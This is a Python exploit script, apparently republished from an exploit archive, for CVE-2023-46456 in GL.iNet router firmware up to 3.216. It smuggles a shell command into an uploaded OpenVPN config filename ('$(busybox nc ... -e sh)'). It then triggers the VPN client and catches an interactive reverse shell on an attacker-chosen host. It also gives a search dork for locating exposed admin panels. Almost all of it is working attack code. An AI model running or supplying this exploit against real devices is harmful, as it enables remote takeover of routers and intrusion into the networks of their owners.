Share
## https://sploitus.com/exploit?id=PACKETSTORM:177401
#!/usr/bin/env python3  
  
# Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client  
# Google Dork: intitle:"GL.iNet Admin Panel"  
# Date: XX/11/2023  
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura  
# Vendor Homepage: https://www.gli-net.com  
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar  
# Version: 3.216  
# Tested on: GL.iNet AR300M  
# CVE: CVE-2023-46456  
  
import socket  
import requests  
import readline  
from time import sleep  
from random import randint  
from sys import stdout, argv  
from threading import Thread  
  
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)  
  
def generate_random_string():  
return ''.join([chr(randint(97, 122)) for x in range(6)])  
  
def add_config_file(url, auth_token, payload):  
data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')}  
try:  
r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)  
r.raise_for_status()  
except requests.exceptions.RequestException:  
print('[X] Error while adding configuration file')  
return False  
return True  
  
def verify_config_file(url, auth_token, payload):  
try:  
r = requests.get(url, headers={'Authorization':auth_token}, verify=False)  
r.raise_for_status()  
if not r.json()['passed'] and payload not in r.json()['passed']:  
return False  
except requests.exceptions.RequestException:  
print('[X] Error while verifying the upload of configuration file')  
return False  
return True  
  
def add_client(url, auth_token):  
postdata = {'description':'RCE_client_{}'.format(generate_random_string())}  
try:  
r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)  
r.raise_for_status()  
except requests.exceptions.RequestException:  
print('[X] Error while adding OpenVPN client')  
return False  
return True  
  
def get_client_id(url, auth_token, payload):  
try:  
r = requests.get(url, headers={'Authorization':auth_token}, verify=False)  
r.raise_for_status()  
for conn in r.json()['clients']:  
if conn['defaultserver'] == payload:  
return conn['id']  
print('[X] Error: could not find client ID')  
return False  
except requests.exceptions.RequestException:  
print('[X] Error while retrieving added OpenVPN client ID')  
return False  
  
def connect_vpn(url, auth_token, client_id):  
sleep(0.25)  
postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'}  
r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)  
  
def cleanup(url, auth_token, client_id):  
try:  
r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False)  
r.raise_for_status()  
except requests.exceptions.RequestException:  
print('[X] Error while cleaning up OpenVPN client')  
return False  
return True  
  
def get_command_response(s):  
res = ''  
while True:  
try:  
resp = s.recv(1).decode('utf-8')  
res += resp  
except UnicodeDecodeError:  
pass  
except socket.timeout:  
break  
return res  
  
def revshell_listen(revshell_ip, revshell_port):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(5)  
  
try:  
s.bind((revshell_ip, int(revshell_port)))  
s.listen(1)  
except Exception as e:  
print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))  
exit(1)  
  
try:  
clsock, claddr = s.accept()  
clsock.settimeout(2)  
if clsock:  
print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))  
res = ''  
while True:  
command = input('$ ')  
clsock.sendall('{}\n'.format(command).encode('utf-8'))  
stdout.write(get_command_response(clsock))  
  
except socket.timeout:  
print('[-] No connection received in 5 seconds, probably server is not vulnerable...')  
s.close()  
  
except KeyboardInterrupt:  
print('\n[*] Closing connection')  
try:  
clsock.close()  
except socket.error:  
pass  
except NameError:  
pass  
s.close()  
  
def main(base_url, auth_token, revshell_ip, revshell_port):  
print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit')  
  
payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port)  
print('[+] Filename payload: "{}"'.format(payload))  
  
print('[*] Uploading crafted OpenVPN config file')  
if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload):  
exit(1)  
  
if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload):  
exit(1)  
print('[+] File uploaded successfully')  
  
print('[*] Adding OpenVPN client')  
if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token):  
exit(1)  
  
client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload)  
if not client_id:  
exit(1)  
print('[+] Client ID: ' + client_id)  
  
print('[*] Triggering connection to created OpenVPN client')  
Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start()  
  
print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))  
revshell_listen(revshell_ip, revshell_port)  
  
print('[*] Clean-up by removing OpenVPN connection')  
if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id):  
exit(1)  
  
print('[+] Done')  
  
if __name__ == '__main__':  
if len(argv) < 5:  
print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))  
exit(1)  
  
main(argv[1], argv[2], argv[3], argv[4])